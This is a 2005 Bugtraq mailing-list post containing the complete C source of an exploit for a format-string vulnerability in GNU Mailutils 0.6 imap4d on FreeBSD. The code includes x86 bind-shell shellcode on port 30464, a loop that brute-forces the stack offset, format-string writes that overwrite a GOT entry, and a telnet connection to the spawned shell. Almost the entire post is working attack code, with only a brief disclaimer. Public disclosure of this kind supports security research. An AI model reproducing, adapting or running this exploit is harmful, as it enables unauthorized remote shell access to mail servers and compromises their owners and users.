FreeBSD GNU Mailutils 0.6 imap4d exploit

angelo_at_rosiello.org
Date: 09/26/05

  • Next message: X1ngBox_at_securityfocus.com: "CMS Made Simple 0.10 is susceptible to a cross site scripting attack."
    Date: 26 Sep 2005 20:13:23 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is) FreeBSD GNU Mailutils 0.6 imap4d exploit.

    Advisory:http://www.idefense.com/application/poi/display?id=303&type=vulnerabilities
    http://www.rosiello.org/archivio/imap4d_FreeBSD_exploit.c

    Rosiello Security
    http://www.rosiello.org
    ------------------------------------------------------------------------------------
    CODE:

    /*
    * Copyright (c) 2005 Rosiello Security
    * http://www.rosiello.org
    *
    * Permission is granted for the redistribution of this software
    * electronically. It may not be edited in any way without the express
    * written consent of Rosiello Security.
    *
    * Disclaimer: The author published the information under the condition
    * that is not in the intention of the reader to use them in order to bring
    * to himself or others a profit or to bring to others damage.
    *
    * --------------------------------------------------------------------------
    *
    * GNU Mailutils 0.6 imap4d 'search' Format String Vulnerability
    * iDEFENSE Security Advisory 09.09.05
    * www.idefense.com/application/poi/display?id=303&type=vulnerabilities
    *
    * The GNU mailutils package is a collection of mail-related
    * utilities, including local and remote mailbox access services.
    * More information is available at the following site:
    * http://www.gnu.org/software/mailutils/mailutils.html
    *
    * This exploit shows the possibility to run arbitrary code
    * on FreeBSD machines.
    *
    * Authors: Johnny Mast and Angelo Rosiello
    * e-mails: rave@rosiello.org angelo@rosiello.org
    */

    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdarg.h>

    #define ISIP(m) (!((int)inet_addr(m) ==-1))
    #define clean(x) memset(x, 0 , sizeof x)

    char code[] =
    "\x90\x90\x90\x90"
    "\x31\xc0" /* xor %eax,%eax */
    "\x31\xc0" /* xor %eax,%eax */
    "\x50" /* push %eax */
    "\x31\xc0" /* xor %eax,%eax */
    "\x50" /* push %eax */
    "\xb0\x7e" /* mov $0x7e,%al */
    "\x50" /* push %eax */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xor %eax,%eax */

    /* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
    "\x31\xc0" // xorl %eax,%eax
    "\x31\xdb" // xorl %ebx,%ebx
    "\x31\xc9" // xorl %ecx,%ecx
    "\x31\xd2" // xorl %edx,%edx
    "\xb0\x61" // movb $0x61,%al
    "\x51" // pushl %ecx
    "\xb1\x06" // movb $0x6,%cl
    "\x51" // pushl %ecx
    "\xb1\x01" // movb $0x1,%cl
    "\x51" // pushl %ecx
    "\xb1\x02" // movb $0x2,%cl
    "\x51" // pushl %ecx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\x51" // pushl %ecx
    "\xcd\x80" // int $0x80

    /* it binds on port 30464 */
    /* bind(fd, (struct sockaddr*)&sin, sizeof(sin)) */
    "\xb1\x02" // movb $0x2,%cl
    "\x31\xc9" // xorl %ecx,%ecx
    "\x51" // pushl %ecx
    "\x51" // pushl %ecx
    "\x51" // pushl %ecx

    /* port = 0x77, change if needed */
    "\x80\xc1\x77" // addb $0x77,%cl
    "\x66\x51" // pushw %cx
    "\xb5\x02" // movb $0x2,%ch
    "\x66\x51" // pushw %cx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\xb2\x10" // movb $0x10,%dl
    "\x52" // pushl %edx
    "\x51" // pushl %ecx
    "\x50" // pushl %eax
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\x51" // pushl %ecx
    "\x89\xc2" // movl %eax,%edx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x68" // movb $0x68,%al
    "\xcd\x80" // int $0x80

    /* listen(fd, 1)*/
    "\xb3\x01" // movb $0x1,%bl
    "\x53" // pushl %ebx
    "\x52" // pushl %edx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\x51" // pushl %ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x6a" // movb $0x6a,%al
    "\xcd\x80" // int $0x80

    /* cli = accept(fd, 0,0) */
    "\x31\xc0" // xorl %eax,%eax
    "\x50" // pushl %eax
    "\x50" // pushl %eax
    "\x52" // pushl %edx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\x51" // pushl %ecx
    "\x31\xc9" // xorl %ecx,%ecx
    "\xb0\x1e" // movb $0x1e,%al
    "\xcd\x80" // int $0x80

    /* dup2(cli,0) */
    "\x89\xc3" // movl %eax,%ebx
    "\x53" // pushl %ebx
    "\x51" // pushl %ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x5a" // movb $0x5a,%al
    "\xcd\x80" // int $0x80

    /* dup2(cli, 1) */
    "\x41" // inc %ecx
    "\x53" // pushl %ebx
    "\x51" // pushl %ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x5a" // movb $0x5a,%al
    "\xcd\x80" // int $0x80

    /* dup2(cli, 2) */
    "\x41" // inc %ecx
    "\x53" // pushl %ebx
    "\x51" // pushl %ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x5a" // movb $0x5a,%al
    "\xcd\x80" // int $0x80

    /* execve("//bin/sh", ["//bin/sh", NULL], NULL) */
    "\x31\xdb" // xorl %ebx,%ebx
    "\x53" // pushl %ebx
    "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
    "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
    "\x89\xe3" // movl %esp,%ebx
    "\x31\xc0" // xorl %eax,%eax
    "\x50" // pushl %eax
    "\x54" // pushl %esp
    "\x53" // pushl %ebx
    "\x50" // pushl %eax
    "\xb0\x3b" // mov $0x3b,%al
    "\xcd\x80" // int $0x80

    /* exit(..) */
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x01" // mobv $0x1,%al
    "\xcd\x80"; // int $0x80

    void usage( int argc, char **argv )
    {
     
      fprintf(stdout, "%s usage:\n\n", argv[0]);
      fprintf(stdout, "\t-h host\n");
      fprintf(stdout, "\t-p port\n");
      fprintf(stdout, "\t-l login\n");
      fprintf(stdout, "\t-a password\n\n");

      return;
    }

    void send_message( int fd, char *msg, ... )
    {
      char string[2000];
      int len;
      size_t size;

      va_list args;

      clean(string);

      va_start(args, msg);
      len = vsnprintf(string, sizeof(string)-1, msg,args);
      len = (len >=0) ? len : 0;

      /* Terminating the string */
      string[len]='\0';

      write(fd, string, len);

      return;
    }

    char *buildstring( long r_addr, long target, int offset, int sock )
    {
      unsigned char string[512], a[4];
      int len;
      int high, low, arw;

      target = 0x806c044; //0xbffffb58;
      high = ( target & 0xffff0000 ) >> 16;
      low = ( target & 0x0000ffff );

      clean(a);
      a[0] = (r_addr >> 24) & 0xff;
      a[1] = (r_addr >> 16) & 0xff;
      a[2] = (r_addr >> 8) & 0xff;
      a[3] = (r_addr) & 0xff;
      a[4] = '\0';

      clean(string);
      len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn\n",
            (int)a[3]+2,a[2],a[1],a[0],
            high -(0x24+13), /* Number of bytes for the first write */
            offset /* The Offset to addr */
            );

      len = (len >=0) ? len : 0;
      string[len] = '\0';
      write(sock, string, len);

      read(sock, string, sizeof(string));

      clean(string);
      len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn%s\n",
           (int) a[3], (int)a[2], (int)a[1],(int)a[0],
            low - (0x24 +13),
            offset, /* The offset to addr +2 */
            code
            );

      len = (len >=0) ? len : 0;
      string[len] = '\0';
      write(sock, string, len);

      return (char *)strdup(string);
    }

    void get_addr_as_char( u_int addr, char *buf )
    {
      *(u_int*)buf = addr;
      if (!buf[0]) buf[0]++;
      if (!buf[1]) buf[1]++;
      if (!buf[2]) buf[2]++;
      if (!buf[3]) buf[3]++;
    }

    static int got_entry = 0x08057a0c+4;//0x0805cb7c; /* GOT of snprintf */

    int comun( char *host, struct sockaddr_in sin4 )
    {
      char *a[4] = { "/usr/bin/telnet", "localhost", "30464", NULL };
      execve(a[0],a, NULL);
      return 0;
    }

    void welcome( )
    {
      fprintf( stdout, "\nCopyright (c) 2005 Rosiello Security\n" );
      fprintf( stdout, "http://www.rosiello.org\n" );
      fprintf( stdout, "imap4d Format String Exploiter for FreeBSD\n\n" );
    }

    int main( int argc, char **argv )
    {
      struct hostent *hp;
      struct sockaddr_in sin4;
      char shellbuf[1030];
      char *host, buffer[512], *ptr, *p, *USER, *PASS;
      int ch, port = 0, sock, offset = 1;
      int login = 0, i, calc = 0;
      int ret = 0, len = 0, b;
      int have_shell_loc = 0;
      unsigned int shell_addr = (u_int)0x0806c000;//0xbfbf0101;

      welcome( );

      if ( argc < 9 )
      {
        usage(argc, argv);
        exit(EXIT_SUCCESS);
      }

      if (!(host = malloc (128)))
      {
        fprintf(stderr, "exp.c:115 Could not allocate memory\n");
        exit(EXIT_FAILURE);
      }

      while((ch = getopt(argc, argv, "h:p:l:a:")) != EOF)
      {
        switch(ch)
       {
          case 'h':
          host = (char *)strdup(optarg);
          break;

          case 'V':
          break;

          case 'p':
          port = atoi (optarg);
          break;
     
          case 'l':
          USER = (char *)optarg;

          case 'a':
          PASS = (char *)optarg;

          default:
          usage(argc, argv);
          break;
     }
    }

     
      if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
      {
        fprintf(stderr, "exp.c:139 Error creating an new socket");
        exit(EXIT_FAILURE);
      }

      host = (host) ? host : "localhost";
      port = (port) ? port : 143;

      if (!(ISIP(host)))
      {
         if (!(hp = gethostbyname(host)))
         {
           fprintf(stderr, "exp.c:152 Could not resolve ip address\n");
           exit(EXIT_FAILURE);
         }
     
         memcpy(&sin4.sin_addr,hp->h_addr,hp->h_length);
         host = (char *)strdup(inet_ntoa(sin4.sin_addr));
      }

      sin4.sin_family = AF_INET;
      sin4.sin_port = (unsigned short)htons( port );

      fprintf(stdout, "[+] Connecting to %s:%d\n", host,port);

      if ((connect(sock, (struct sockaddr *)&sin4,sizeof(struct sockaddr))) < 0)
      {
         fprintf(stderr, "[*] exp.c:178 Connection failed\n");
         exit(EXIT_FAILURE);
      }

      fprintf(stdout, "[+] Connected .. \n");
      fprintf(stdout, "[+] Sending login ... \n");

      send_message(sock, "1 LOGIN %s %s\r\n", USER, PASS);
      fprintf(stdout, "[+] Done ... \n");

      while ((read(sock, buffer, 512)) > 0)
      {
        if ( login == 0 && ret == 0)
        switch (buffer[0])
        {

         case '1':
         fprintf(stdout, "[+] Selecting inbox ..\n");
         send_message(sock, "2 Select inbox\n");
         fprintf(stdout, "[+] Selecting Done .. Starting brute sequence\n");
         send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset);
         login = 1;
         break;
        }

        if ((ptr=strstr(buffer, "(near")) && login == 1)
        {
          ptr +=15;
          if ((strncmp(ptr, "41414141",8))!=0)
          {
            offset ++;
            send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset);
          }
          else
          {
            fprintf(stdout, "[+] Found offset %d\n", offset);
            fprintf(stdout, "[+] Finding buffer on the stack\n");
            ret = 1;
            login = 0;
            clean(buffer);
          }
        }

        if ( ret == 1 )
        {
            
          if ((ptr=strstr(buffer, "(near")))
          {
            ptr +=6+4 +1; /* +4 for the addr string*/
            /* +1 for the junk char */
            calc = strlen(buffer) - strlen(ptr);
            calc -=6+4+1;
            
            for (i = 0; i < strlen(buffer); i++)
            {
               if ( (strncmp(ptr, code, strlen(code)))==0 && have_shell_loc !=1)
               {
                 shell_addr += i -4;
                 have_shell_loc = 1;
                 buildstring(got_entry, 0x42424242, offset, sock);
                 fprintf(stdout,"[+] Decoy found at %p\n", shell_addr);
                        close(sock);
                 fprintf(stdout, "[+] Trying to contact the bind shell ..\n");
                     if((comun(host, sin4)) < 0)
                   fprintf(stderr, "[-] Exploit failed\n");
               }
               else
                 ++ptr;
            }
          }
          if( shell_addr > 0xc0000000)
            break;
          shell_addr++;
          ptr = ((char *)&shell_addr);
          ptr[4] = 0;
          if ( strchr(ptr, 0xa) || strchr(ptr, 0xd) || ptr[0]==0x00)
          {
            shell_addr ++;
            ptr = ((char *)&shell_addr);
            ptr[4] = 0;
          }
          while (strlen(ptr) !=4)
          {
            shell_addr++;
            ptr = ((char *)&shell_addr);
            ptr[4] = 0;
          }
          if (have_shell_loc != 1)
          {
            send_message(sock, "3 search topic .%s....%%%d$s%sCCCC\n",ptr,offset,code);
          }
        }
        clean(buffer);
      }

      fprintf(stderr, "[+] Closing connection\n");
      close(sock);
      free(host);

      fprintf(stderr, "[-] Exploit failed %p\n", shell_addr);
      return 0;
    }


  • Next message: X1ngBox_at_securityfocus.com: "CMS Made Simple 0.10 is susceptible to a cross site scripting attack."

    Relevant Pages

    • Re: Brian Kernighan, maybe Im not worthy, maybe Im scum
      ... conformant string. ... int repeats, reps; ... ref satisfierLength); ...
      (comp.programming)
    • RE: Controling Modal Dialogs (Solution)
      ... doesn't return until the 'modal' browser returns. ... string varOptions) ... public void DocumentComplete ... int rc = winDisp.Invoke(rgDispId, ref guid, 0, ...
      (microsoft.public.inetsdk.programming.webbrowser_ctl)
    • Gcc compatible header file
      ... A string collection is a table of zero terminated strings that will grow ... typedef struct _StringCollection StringCollection; ... int; ... bool; ...
      (comp.lang.c)
    • Kernighan and Pikes "Beautiful" Code
      ... conformant string. ... int repeats, reps; ... ref satisfierLength); ...
      (comp.programming)
    • Re: FTP CD command
      ... public const int GENERIC_WRITE = 0x40000000; ... string lpszProxyName, ... public static extern IntPtr InternetConnect ( ... public static extern bool FtpGetCurrentDirectory ( ...
      (microsoft.public.dotnet.languages.vb)